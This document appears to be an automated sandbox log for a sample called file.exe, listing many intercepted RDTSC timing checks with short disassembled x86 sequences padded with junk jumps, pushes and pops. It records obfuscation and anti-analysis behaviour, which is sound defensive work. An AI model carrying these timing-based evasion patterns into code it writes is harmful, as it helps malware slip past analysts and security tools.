Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0436 second address: 54B0489 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99150F9508h 0x00000008 jmp 00007F99150F9505h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 test byte ptr [esi+48h], 00000001h 0x00000015 jmp 00007F99150F94FEh 0x0000001a jne 00007F9986B6771Bh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ax, bx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0896 second address: 54A08B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99146B45A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A08B3 second address: 54A08B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A08B7 second address: 54A0909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F99146B45A3h 0x00000011 adc cx, 0C8Eh 0x00000016 jmp 00007F99146B45A9h 0x0000001b popfd 0x0000001c movzx eax, dx 0x0000001f popad 0x00000020 and esp, FFFFFFF8h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov cx, 44ABh 0x0000002a mov ecx, 266F8087h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0909 second address: 54A0953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov si, 5613h 0x0000000f pushfd 0x00000010 jmp 00007F99150F9508h 0x00000015 or eax, 4B82BC98h 0x0000001b jmp 00007F99150F94FBh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0953 second address: 54A0957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0957 second address: 54A095B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A095B second address: 54A0961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0961 second address: 54A097B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edx 0x0000000f mov ch, bh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A097B second address: 54A0A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99146B45A7h 0x00000009 adc ecx, 0F823F6Eh 0x0000000f jmp 00007F99146B45A9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F99146B45A0h 0x0000001b adc ax, 92E8h 0x00000020 jmp 00007F99146B459Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b jmp 00007F99146B45A4h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007F99146B45A0h 0x00000038 add cl, 00000078h 0x0000003b jmp 00007F99146B459Bh 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0A13 second address: 54A0A60 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F99150F9502h 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 mov cl, ECh 0x00000012 jmp 00007F99150F9503h 0x00000017 popad 0x00000018 mov esi, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F99150F9505h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0A60 second address: 54A0A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99146B459Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0A70 second address: 54A0AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d pushad 0x0000000e movsx ebx, ax 0x00000011 pushfd 0x00000012 jmp 00007F99150F94FEh 0x00000017 or si, 79F8h 0x0000001c jmp 00007F99150F94FBh 0x00000021 popfd 0x00000022 popad 0x00000023 test esi, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F99150F9505h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0AC1 second address: 54A0B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9986129E4Eh 0x0000000f pushad 0x00000010 jmp 00007F99146B459Ch 0x00000015 popad 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d jmp 00007F99146B45A7h 0x00000022 mov ecx, esi 0x00000024 pushad 0x00000025 pushad 0x00000026 push ecx 0x00000027 pop edx 0x00000028 mov eax, 3A8351ADh 0x0000002d popad 0x0000002e mov ch, 5Bh 0x00000030 popad 0x00000031 je 00007F9986129E22h 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F99146B459Bh 0x0000003e and cx, C5DEh 0x00000043 jmp 00007F99146B45A9h 0x00000048 popfd 0x00000049 popad 0x0000004a test byte ptr [76FA6968h], 00000002h 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F99146B45A9h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0B6C second address: 54A0B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0B72 second address: 54A0B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0B76 second address: 54A0B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F9986B6ED2Eh 0x0000000e jmp 00007F99150F94FFh 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0B9C second address: 54A0BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0BA0 second address: 54A0BBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9507h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0BBB second address: 54A0BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0BC1 second address: 54A0BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0BC5 second address: 54A0BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F99146B459Ch 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F99146B459Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0BEB second address: 54A0BF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0BF1 second address: 54A0C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F99146B459Ch 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F99146B45A2h 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0C1C second address: 54A0C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0C22 second address: 54A0C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0C26 second address: 54A0C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0C2A second address: 54A0C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cl, 66h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0C3B second address: 54A0C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F94FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0C4E second address: 54A0C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+14h] 0x0000000e jmp 00007F99146B459Eh 0x00000013 push dword ptr [ebp+10h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F99146B45A7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0D1C second address: 54A0D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0008 second address: 54C0022 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0022 second address: 54C0028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0028 second address: 54C002C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C002C second address: 54C0079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F99150F94FEh 0x00000011 push eax 0x00000012 jmp 00007F99150F94FBh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F99150F9506h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0079 second address: 54C007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C007D second address: 54C009A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C009A second address: 54C00A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00A0 second address: 54C00A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0CC3 second address: 54B0CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0CC7 second address: 54B0CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0CCD second address: 54B0CF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F99146B459Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0CF4 second address: 54B0D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F94FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0D06 second address: 54B0D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0D0A second address: 54B0D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F99150F9507h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ax, dx 0x00000016 pushfd 0x00000017 jmp 00007F99150F9507h 0x0000001c jmp 00007F99150F9503h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0D5F second address: 54B0D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0D65 second address: 54B0D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55306E5 second address: 553078C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F99146B45A9h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov bl, ch 0x00000013 pushfd 0x00000014 jmp 00007F99146B45A9h 0x00000019 or ax, 9E06h 0x0000001e jmp 00007F99146B45A1h 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F99146B45A3h 0x00000030 and ax, 2D3Eh 0x00000035 jmp 00007F99146B45A9h 0x0000003a popfd 0x0000003b mov di, cx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553078C second address: 5530792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530792 second address: 5530796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530796 second address: 55307A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a mov cx, bx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307A5 second address: 55307A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55208C2 second address: 55208DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F9505h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C043C second address: 54C044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99146B459Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C044E second address: 54C0477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F99150F9505h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C00 second address: 5520C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C06 second address: 5520C54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99150F9506h 0x0000000f push eax 0x00000010 jmp 00007F99150F94FBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F99150F9505h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C54 second address: 5520C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C5A second address: 5520C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C5E second address: 5520C70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ebx, 48951078h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C70 second address: 5520CEC instructions: 0x00000000 rdtsc 0x00000002 mov esi, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+0Ch] 0x0000000a jmp 00007F99150F9505h 0x0000000f push dword ptr [ebp+08h] 0x00000012 jmp 00007F99150F94FEh 0x00000017 push 326DA3A9h 0x0000001c pushad 0x0000001d mov edx, 5F440652h 0x00000022 pushfd 0x00000023 jmp 00007F99150F9503h 0x00000028 adc cx, 424Eh 0x0000002d jmp 00007F99150F9509h 0x00000032 popfd 0x00000033 popad 0x00000034 xor dword ptr [esp], 326CA3ABh 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e mov edx, ecx 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F43FF second address: 11F441A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F99146B45A1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F441A second address: 11F4420 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4420 second address: 11F4426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0500 second address: 54D0550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F99150F9504h 0x00000010 pushfd 0x00000011 jmp 00007F99150F9502h 0x00000016 and cx, B458h 0x0000001b jmp 00007F99150F94FBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0550 second address: 54D05FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F99146B45A0h 0x00000009 pop eax 0x0000000a popad 0x0000000b call 00007F99146B459Bh 0x00000010 jmp 00007F99146B45A8h 0x00000015 pop esi 0x00000016 popad 0x00000017 push FFFFFFFEh 0x00000019 jmp 00007F99146B45A1h 0x0000001e push 0C5976F9h 0x00000023 jmp 00007F99146B45A7h 0x00000028 xor dword ptr [esp], 7AA1B6E1h 0x0000002f jmp 00007F99146B45A6h 0x00000034 push 7510BABBh 0x00000039 jmp 00007F99146B45A1h 0x0000003e xor dword ptr [esp], 03FF14BBh 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05FA second address: 54D05FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05FE second address: 54D0604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0604 second address: 54D0624 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9502h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f pushad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0624 second address: 54D06B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F99146B45A8h 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F99146B45A0h 0x00000011 push eax 0x00000012 jmp 00007F99146B459Bh 0x00000017 nop 0x00000018 jmp 00007F99146B45A6h 0x0000001d sub esp, 1Ch 0x00000020 jmp 00007F99146B45A0h 0x00000025 xchg eax, ebx 0x00000026 jmp 00007F99146B45A0h 0x0000002b push eax 0x0000002c pushad 0x0000002d movsx edi, ax 0x00000030 jmp 00007F99146B459Ah 0x00000035 popad 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov bl, 9Dh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D06B1 second address: 54D06ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 push ebx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F99150F9504h 0x00000011 mov dword ptr [esp], esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F99150F9507h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D06ED second address: 54D06F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D06F3 second address: 54D070B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D070B second address: 54D075B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5552264Ch 0x00000008 pushfd 0x00000009 jmp 00007F99146B45A5h 0x0000000e add cx, A326h 0x00000013 jmp 00007F99146B45A1h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d jmp 00007F99146B45A1h 0x00000022 xchg eax, edi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D075B second address: 54D0763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0763 second address: 54D0769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0769 second address: 54D076D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D076D second address: 54D07F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FAB370h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F99146B45A6h 0x00000014 jmp 00007F99146B45A5h 0x00000019 popfd 0x0000001a mov bx, ax 0x0000001d popad 0x0000001e xor dword ptr [ebp-08h], eax 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F99146B45A8h 0x00000028 sub cx, 6BE8h 0x0000002d jmp 00007F99146B459Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xor eax, ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F99146B45A1h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D07F0 second address: 54D07F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
